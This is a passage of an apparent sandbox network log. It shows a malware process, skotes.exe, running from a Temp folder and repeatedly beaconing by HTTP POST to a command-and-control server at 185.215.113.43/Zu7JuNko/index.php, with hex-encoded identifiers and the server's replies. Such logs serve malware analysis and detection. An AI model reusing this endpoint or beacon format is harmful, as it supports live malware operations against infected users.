r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:27:48.266212940 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50277	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:50.008995056 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:27:51.397584915 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50279	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:53.026026964 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:27:54.475594997 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50280	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:56.223330021 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:27:57.564307928 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50281	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:59.199723005 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:28:00.603688955 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50282	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:02.356569052 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:28:03.745299101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50283	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:05.372690916 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:28:06.756563902 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50284	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:08.489104986 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:28:09.868469000 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50285	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:11.522536993 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:28:12.873080015 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50286	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:14.621541977 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:28:15.963150978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50287	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:17.599204063 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:28:19.003915071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50288	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:20.752906084 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:28:22.182749033 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50289	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:23.810230970 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:28:25.210874081 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50290	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:26.957045078 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:28:28.361174107 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50291	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:30.003160954 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:28:31.431361914 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50292	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:33.182476044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:28:34.577811003 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50293	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:36.216690063 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:28:37.569617987 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	50294	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:39.495908976 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:28:40.829098940 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	50295	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:42.470928907 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:28:43.819541931 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	50296	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:45.566024065 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:28:47.013187885 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	50297	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:48.641590118 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:28:49.993782997 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	50298	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:51.737865925 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:28:53.125926971 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	50299	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:54.753405094 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:28:56.203879118 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	50300	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:28:57.953387976 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:28:59.394181013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:28:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	50302	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
